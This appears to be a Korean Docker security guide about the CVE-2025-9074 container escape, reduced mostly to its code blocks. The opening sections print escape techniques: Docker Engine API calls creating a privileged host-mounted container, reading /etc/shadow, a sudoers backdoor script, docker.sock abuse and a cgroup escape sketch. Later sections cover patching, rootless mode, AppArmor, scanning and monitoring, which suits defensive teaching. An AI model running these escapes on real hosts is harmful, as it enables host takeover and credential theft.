Docker 보안 취약점 완벽 가이드: 2025년 CVE-2025-9074 컨테이너 탈출 방어 전략

# 1. 공격자가 악성 컨테이너 내부에서 실행
# Docker 서브넷을 통해 Docker Engine API에 접근

# 컨테이너 내부에서
curl -X POST http://192.168.65.7:2375/containers/create \
 -H "Content-Type: application/json" \
 -d '{
 "Image": "alpine",
 "Cmd": ["sh"],
 "HostConfig": {
 "Privileged": true,
 "Binds": ["/:/host"]
 }
 }'

# 응답: {"Id":"abc123...","Warnings":null}

# 2. 특권 컨테이너 시작
curl -X POST http://192.168.65.7:2375/containers/abc123/start

# 3. 특권 컨테이너 내부에서 호스트 파일시스템 접근
# /host 디렉토리에 호스트 전체 파일시스템이 마운트됨!

chroot /host

# 이제 호스트 서버의 루트 권한 획득!
cat /etc/shadow # 호스트의 패스워드 파일 읽기
crontab -e # 호스트에 백도어 설치

# Docker Desktop 버전 확인
docker version

# 출력:
# Client: Docker Engine - Community
# Version: 27.4.0 # ← 이 버전 확인!
# API version: 1.47
#...
# Server: Docker Desktop 4.41.0 (166277) # ← 4.41.0 이상이어야 안전!

# 컨테이너 내부에서 실행
# /proc/self/exe는 현재 실행 중인 프로그램의 심볼릭 링크

# 1. runc 바이너리를 악성 바이너리로 대체
cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
# 호스트의 루트 파일시스템에 백도어 설치
echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /host/etc/sudoers
EOF

chmod +x /tmp/evil.sh

# 2. /proc/self/exe 심볼릭 링크를 악성 스크립트로 변경
# (실제 공격 코드는 더 복잡하지만, 개념은 동일)

# 3. runc가 다음 컨테이너 생성 시 악성 스크립트를 호스트에서 실행
# → 호스트 루트 권한 획득!

# runc 버전 확인
runc --version

# 출력:
# runc version 1.2.7 # ← 취약!
# runc version 1.2.8 # ← 안전

# Docker에서 사용 중인 runc 버전 확인
docker info | grep -i runc

# Kubernetes 노드에서 확인
crictl version

# Ubuntu/Debian
sudo apt update
sudo apt install runc

# RHEL/CentOS
sudo yum update runc

# 또는 수동 설치 (최신 버전)
wget https://github.com/opencontainers/runc/releases/download/v1.2.8/runc.amd64
sudo install -m 755 runc.amd64 /usr/local/sbin/runc

# 검증
runc --version

# 절대 프로덕션에서 사용 금지!
docker run --privileged -it ubuntu bash

# 컨테이너 내부에서
fdisk -l # 호스트의 모든 디스크 장치 확인
# /dev/sda, /dev/sdb 등 호스트 디스크가 보임!

# 호스트 파일시스템 마운트
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 이제 호스트의 전체 파일시스템 접근 가능!
cat /mnt/host/etc/shadow
chroot /mnt/host
# → 호스트 루트 권한 획득!

# 극도로 위험!
docker run -v /var/run/docker.sock:/var/run/docker.sock \
 -it docker:latest sh

# 컨테이너 내부에서 Docker 명령어 실행 가능
docker ps # 호스트의 모든 컨테이너 확인

# 특권 컨테이너 생성하여 호스트 장악
docker run --privileged -v /:/host -it alpine chroot /host

# → 호스트 루트 권한 획득!

# CAP_SYS_ADMIN으로 컨테이너 실행
docker run --cap-add=SYS_ADMIN -it ubuntu bash

# 컨테이너 내부에서
# cgroup을 이용한 호스트 명령 실행
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

# 호스트에서 스크립트 실행
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# → 호스트에서 임의의 코드 실행 가능!

# 1. Rootless Docker 설치 스크립트 다운로드
curl -fsSL https://get.docker.com/rootless | sh

# 2. 환경 변수 설정
export PATH=/home/$USER/bin:$PATH
export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock

# 3. ~/.bashrc에 추가
echo 'export PATH=/home/$USER/bin:$PATH' >> ~/.bashrc
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc

# 4. systemd 사용자 서비스로 시작
systemctl --user start docker
systemctl --user enable docker

# 5. 확인
docker run hello-world

# 일반 Docker (루트 권한)
$ docker run -it ubuntu bash
root@container# id
uid=0(root) gid=0(root) # ← 컨테이너 내부는 루트!

# Rootless Docker (비루트 권한)
$ docker run -it ubuntu bash
root@container# id
uid=0(root) gid=0(root) # 컨테이너 내부는 root로 보이지만...

# 호스트에서 확인하면:
$ ps aux | grep bash
user 12345 0.0 0.1 # ← 실제로는 일반 사용자 권한!

sudo systemctl restart docker

# 확인
docker info | grep "userns"
# Security Options:
# userns

# User Namespace 활성화 후
$ docker run -it ubuntu bash
root@container# id
uid=0(root) gid=0(root)

# 호스트에서 확인
$ ps aux | grep bash
100000 12345 0.0 0.1 # ← UID가 100000으로 매핑됨!

# 컨테이너 탈출 시에도 UID 100000 권한만 획득 (루트 아님!)

# Docker 기본 AppArmor 프로파일 확인
sudo apparmor_status | grep docker

# 커스텀 프로파일 생성
sudo nano /etc/apparmor.d/docker-custom

# 프로파일 내용:
#include <tunables/global>

profile docker-custom flags=(attach_disconnected,mediate_deleted) {
 #include <abstractions/base>

 # 파일 쓰기 제한
 deny /etc/** w,
 deny /root/** w,

 # 네트워크 제한
 deny network raw,

 # 프로세스 ptrace 제한
 deny ptrace,
}

# 프로파일 로드
sudo apparmor_parser -r /etc/apparmor.d/docker-custom

# 컨테이너 실행 시 적용
docker run --security-opt apparmor=docker-custom -it ubuntu bash

# SELinux 상태 확인
sestatus

# Docker SELinux 레이블 확인
ps auxZ | grep dockerd

# 컨테이너 실행 시 SELinux 레이블 적용
docker run --security-opt label=type:svirt_apache_t -it ubuntu bash

# 설치
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin

# 이미지 스캔
trivy image nginx:latest

# 출력 예시:
# nginx:latest (debian 12.4)
# ================================
# Total: 156 (UNKNOWN: 0, LOW: 95, MEDIUM: 47, HIGH: 12, CRITICAL: 2)
#
# CRITICAL: 2
# ┌─────────────────────┬────────────────┬──────────┬─────────────────┐
# │ Library │ Vulnerability │ Severity │ Installed Ver │
# ├─────────────────────┼────────────────┼──────────┼─────────────────┤
# │ openssl │ CVE-2024-12345 │ CRITICAL │ 1.1.1f-1 │
# │ curl │ CVE-2024-54321 │ CRITICAL │ 7.68.0-1 │
# └─────────────────────┴────────────────┴──────────┴─────────────────┘

# CI/CD에 통합
trivy image --exit-code 1 --severity CRITICAL,HIGH myapp:latest
# → CRITICAL/HIGH 취약점 발견 시 빌드 실패

# Docker Desktop 4.17+ 내장

# 이미지 스캔
docker scout cves nginx:latest

# 권장 사항 확인
docker scout recommendations nginx:latest

# 취약점 수정된 이미지 제안
docker scout quickview nginx:latest

# 설치
npm install -g snyk

# 로그인
snyk auth

# Dockerfile 스캔
snyk container test nginx:latest

# 수정 제안
snyk container fix nginx:latest

# Helm으로 설치
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
 --namespace falco-system \
 --create-namespace

# 규칙 확인
kubectl get cm falco -n falco-system -o yaml

# Docker 로그에서 특권 컨테이너 생성 확인
journalctl -u docker | grep "Privileged"

# runc 실행 로그 확인
journalctl | grep runc

# 컨테이너에서 /proc 접근 로그
ausearch -m AVC -ts recent | grep proc

# runc 버전 확인
runc --version

# Docker Desktop 버전 확인
docker version

# 실행 중인 특권 컨테이너 확인
docker ps --filter "label=privileged=true"

# Capabilities 확인
docker inspect <container_id> | grep -i cap

# 1. 특권 컨테이너 중지 (비즈니스 영향 평가 후)
docker stop <privileged_container_id>

# 2. Docker Socket 마운트된 컨테이너 중지
docker ps -a --filter volume=/var/run/docker.sock

# 3. 임시 방화벽 규칙 (Docker API 접근 차단)
sudo iptables -A INPUT -p tcp --dport 2375 -j DROP
sudo iptables -A INPUT -p tcp --dport 2376 -j DROP

# runc 업그레이드
sudo apt update && sudo apt install runc

# Docker Desktop 업그레이드 (Windows/Mac)
# GUI에서 업데이트 확인 또는 공식 사이트에서 다운로드

# Kubernetes 노드 순차 패치 (드레인 후 재부팅)
kubectl drain node-1 --ignore-daemonsets
sudo apt update && sudo apt install runc
sudo reboot
kubectl uncordon node-1

# 버전 재확인
runc --version
docker version

# 보안 스캔
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
 docker/docker-bench-security

# Falco 로그 확인 (이상 활동)
kubectl logs -n falco-system -l app=falco --tail=100